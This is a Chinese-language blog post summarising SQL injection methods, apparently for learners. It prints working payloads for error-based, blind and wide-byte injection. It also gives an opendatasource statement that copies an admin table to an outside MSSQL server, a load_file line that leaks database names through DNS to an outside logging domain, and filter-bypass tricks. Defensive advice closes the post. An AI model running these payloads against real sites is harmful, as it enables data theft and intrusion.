百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分析 > 正文

sql注入总结

liebian365 2024-11-18 14:20 4 浏览 0 评论

这些天陆陆续续收到一些私信,都在问我sql注入,今天就给大家总结一下

前言

原理:用户输入的数据当作sql语句拼接到程序代码中执行

可能存在注入的地方:登录页面、搜索处、HTTP头信息等

注入类型:报错注入、header注入、盲注、宽字节注入、mssql反弹注入、dns注入等

报错注入

原理:利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中

报错注入相关函数及使用方法:

floor   例句:and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ExtractValue  例句:and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
UpdateXml  例句:and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
exp  例句:and exp(~(select * from (select user () ) a) );
polygon  例句:and polygon (()select * from(select user ())a)b );
......

防御方法:
1、屏蔽能造成报错注入的各种函数
2、统一返回不含错误提示信息的回显页面
3、使用数据库防火墙、拦截危险SQL语句

header注入

原理:利用后端验证客户端口信息或者通过Header中获取客户端的一些信息,
因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,
又因为后台没有进过相对应的信息处理所以构成了sql注入

可能出现的地方
host 客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
User-Agent 使得服务器能够识别客户使用的操作系统,游览器版本等.
Referer 浏览器向 WEB 服务器表明自己是从哪个页面链接过来的
X-Forwarded-For 简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,
(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
Clien-IP 同上
Cookie 网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据

宽字节注入

原理:利用mysql特性, 在使用GBK编码时将/进行转义ASCII码传输中文是会变成字符串

MySQL中用于转义的函数addslashes、mysql_real_escape_string、mysql_escape_string、magic_quotes_gpc
作用:当PHP的传参中有特殊字符就会在前面加转义字符’\’,来做一定的过滤

绕过思路
因为宽字节注入主要是吃掉 \ ,所以一般时候加一个 %df 这种就可以吃掉,加汉字也可以

mssql反弹注入

原理:依靠opendatasource函数,把查询出来的数据发送到我们的MSSQL服务器上

条件:要满足堆叠查询

环境搭建
使用香港云(http://www.webweb.com/)搭建mssql数据库,获取公网IP

显错注入步骤:
1、判断注入点
2、猜字段
3、联合查询(记住要写union all),输出点用NULL填充,注释只有—
4、select name from dbo.sysdatabases 查询系统库
5、sysobjects 查询系统表 (xtype=’U’)
6、syscolumns 字段 (id= ) 指定sysobjects库中表名对应id

使用的函数
opendatasource函数作用:可以理解为将当前数据库查询的结果发送到另一数据库服务器中

语法:opendatasource(provider_name,init_string)
provider_name :注册为用于访问数据源的OLE DB 提供程序的PROGID的名称,MSSQL的名称为SQLOLEDB
init_string:
连接字符串
连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

例句:insert into opendatasource(‘sqloledb’,’server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;
pwd=zkaqzkaq;database=DB_14A5E44_zkaq’).DB_14A5E44_zkaq.dbo.temp select * from admin —

有没有记笔记!!!赶紧的!不要偷懒。

DNS注入(只能使用在mysql)

原理:通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

什么是DNS?
是一个域名系统,是一项网络服务,它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网,DNS注入就是利用了DNS这个通道

使用的函数
load_file函数作用:用于读取文件内容,并返回输出
使用条件
1、文件必须在服务器上
2、要有绝对路径
3、要有file权限,所有字节可读
4、文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)

当load_file无法读取文件的解决方法:在mysql配置文件最后一行加一行secure_file_priv=

例句:
and (SELECT LOAD_FILE(CONCAT(‘\\‘,(select database()),’.0cv5gr.ceye.io\abc’)))#
select load_file()打开文件,concat是拼接函数,\\+子查询出来的结果+.0cv5gr.ceye.io\abc
相当于数据库去访问\\+子查询出来的结果+.0cv5gr.ceye.io\abc的共享文件夹然后被DNS服务器记录下来

盲注

理解:利用数据库内置函数执行的结果来判断语句是否被执行

类型
布尔型盲注:根据返回页面判断条件真假的注入
时间型盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断

用到的函数及语句
length()函数:返回字符串的长度
ascii() 查询ascii码中对应的值
substr(str,pos,num) :截取指定位置指定长度的字符串
mid(str,pos,num) :截取指定位置指定长度的字符串
sleep() 将程序挂起一段时间
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

攻击总体思路
1、寻找SQL注入的位置
2、判断服务器类型和后台数据库类型
3、针对不同的服务器和数据库特点进行SQL注入攻击

特殊表
MySQL数据库的特有的表是 information_schema.tables
access数据库特有的表是 msysobjects
SQLServer 数据库特有的表是 sysobjects

数据库重要信息
version() :数据库的版本
database() :当前所在的数据库
@@basedir : 数据库的安装目录
@@datadir :数据库文件的存放目录
user() :数据库的用户
current_user() : 当前用户名
system_user() : 系统用户名
session_user() :连接到数据库的用户名

SQL注入绕过方法
1、大小写绕过
2、双写绕过
3、编码绕过
4、内联注释绕过
5、关键字替换(例如:空格用+替换、and用&&替换等)
6、等价函数绕过(例如:hex()、bin()=ascii()、mid()、substr()=substring()等)
7、HTTP参数污染
8、缓冲区溢出绕过

危害
数据库信息泄露
网页篡改:登陆后台后发布恶意内容
网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,
可将一些网页木马挂在服务器上,去攻击别人
私自添加系统账号
读写文件获取webshell

防御方法
1、对进去数据库的特殊字符(单双引号 尖括号等)进行编码转换
2、不要使用动态拼装SQL,使用参数化SQL
3、不要使用管理员权限的数据连接,最好为每个应用使用单独的数据库连接
4、应用异常信息尽量给出少的提示,最好自定义报错信息对原始报错信息进行包装
5、使用防火墙,安全狗,云盾等

以上就是我对sql注入的全部总结了,有问题的小伙伴可以私信我,或者关注我的同名公众号“黑掌”,可以了解到每日黑客新闻,和掌握更多渗透课程哦~

相关推荐

快递查询教程,批量查询物流,一键管理快递

作为商家,每天需要查询许许多多的快递单号,面对不同的快递公司,有没有简单一点的物流查询方法呢?小编的回答当然是有的,下面随小编一起来试试这个新技巧。需要哪些工具?安装一个快递批量查询高手快递单号怎么快...

一键自动查询所有快递的物流信息 支持圆通、韵达等多家快递

对于各位商家来说拥有一个好的快递软件,能够有效的提高自己的工作效率,在管理快递单号的时候都需要对单号进行表格整理,那怎么样能够快速的查询所有单号信息,并自动生成表格呢?1、其实方法很简单,我们不需要一...

快递查询单号查询,怎么查物流到哪了

输入单号怎么查快递到哪里去了呢?今天小编给大家分享一个新的技巧,它支持多家快递,一次能查询多个单号物流,还可对查询到的物流进行分析、筛选以及导出,下面一起来试试。需要哪些工具?安装一个快递批量查询高手...

3分钟查询物流,教你一键批量查询全部物流信息

很多朋友在问,如何在短时间内把单号的物流信息查询出来,查询完成后筛选已签收件、筛选未签收件,今天小编就分享一款物流查询神器,感兴趣的朋友接着往下看。第一步,运行【快递批量查询高手】在主界面中点击【添...

快递单号查询,一次性查询全部物流信息

现在各种快递的查询方式,各有各的好,各有各的劣,总的来说,还是有比较方便的。今天小编就给大家分享一个新的技巧,支持多家快递,一次能查询多个单号的物流,还能对查询到的物流进行分析、筛选以及导出,下面一起...

快递查询工具,批量查询多个快递快递单号的物流状态、签收时间

最近有朋友在问,怎么快速查询单号的物流信息呢?除了官网,还有没有更简单的方法呢?小编的回答当然是有的,下面一起来看看。需要哪些工具?安装一个快递批量查询高手多个京东的快递单号怎么快速查询?进入快递批量...

快递查询软件,自动识别查询快递单号查询方法

当你拥有多个快递单号的时候,该如何快速查询物流信息?比如单号没有快递公司时,又该如何自动识别再去查询呢?不知道如何操作的宝贝们,下面随小编一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号若干...

教你怎样查询快递查询单号并保存物流信息

商家发货,快递揽收后,一般会直接手动复制到官网上一个个查询物流,那么久而久之,就会觉得查询变得特别繁琐,今天小编给大家分享一个新的技巧,下面一起来试试。教程之前,我们来预览一下用快递批量查询高手...

简单几步骤查询所有快递物流信息

在高峰期订单量大的时候,可能需要一双手当十双手去查询快递物流,但是由于逐一去查询,效率极低,追踪困难。那么今天小编给大家分享一个新的技巧,一次能查询多个快递单号的物流,下面一起来学习一下,希望能给大家...

物流单号查询,如何查询快递信息,按最后更新时间搜索需要的单号

最近有很多朋友在问,如何通过快递单号查询物流信息,并按最后更新时间搜索出需要的单号呢?下面随小编一起来试试吧。需要哪些工具?安装一个快递批量查询高手快递单号若干怎么快速查询?运行【快递批量查询高手】...

连续保存新单号功能解析,导入单号查询并自动识别批量查快递信息

快递查询已经成为我们日常生活中不可或缺的一部分。然而,面对海量的快递单号,如何高效、准确地查询每一个快递的物流信息,成为了许多人头疼的问题。幸运的是,随着科技的进步,一款名为“快递批量查询高手”的软件...

快递查询教程,快递单号查询,筛选更新量为1的单号

最近有很多朋友在问,怎么快速查询快递单号的物流,并筛选出更新量为1的单号呢?今天小编给大家分享一个新方法,一起来试试吧。需要哪些工具?安装一个快递批量查询高手多个快递单号怎么快速查询?运行【快递批量查...

掌握批量查询快递动态的技巧,一键查找无信息记录的两种方法解析

在快节奏的商业环境中,高效的物流查询是确保业务顺畅运行的关键。作为快递查询达人,我深知时间的宝贵,因此,今天我将向大家介绍一款强大的工具——快递批量查询高手软件。这款软件能够帮助你批量查询快递动态,一...

从复杂到简单的单号查询,一键清除单号中的符号并批量查快递信息

在繁忙的商务与日常生活中,快递查询已成为不可或缺的一环。然而,面对海量的单号,逐一查询不仅耗时费力,还容易出错。现在,有了快递批量查询高手软件,一切变得简单明了。只需一键,即可搞定单号查询,一键处理单...

物流单号查询,在哪里查询快递

如果在快递单号多的情况,你还在一个个复制粘贴到官网上手动查询,是一件非常麻烦的事情。于是乎今天小编给大家分享一个新的技巧,下面一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号怎么快速查询?...

取消回复欢迎 发表评论: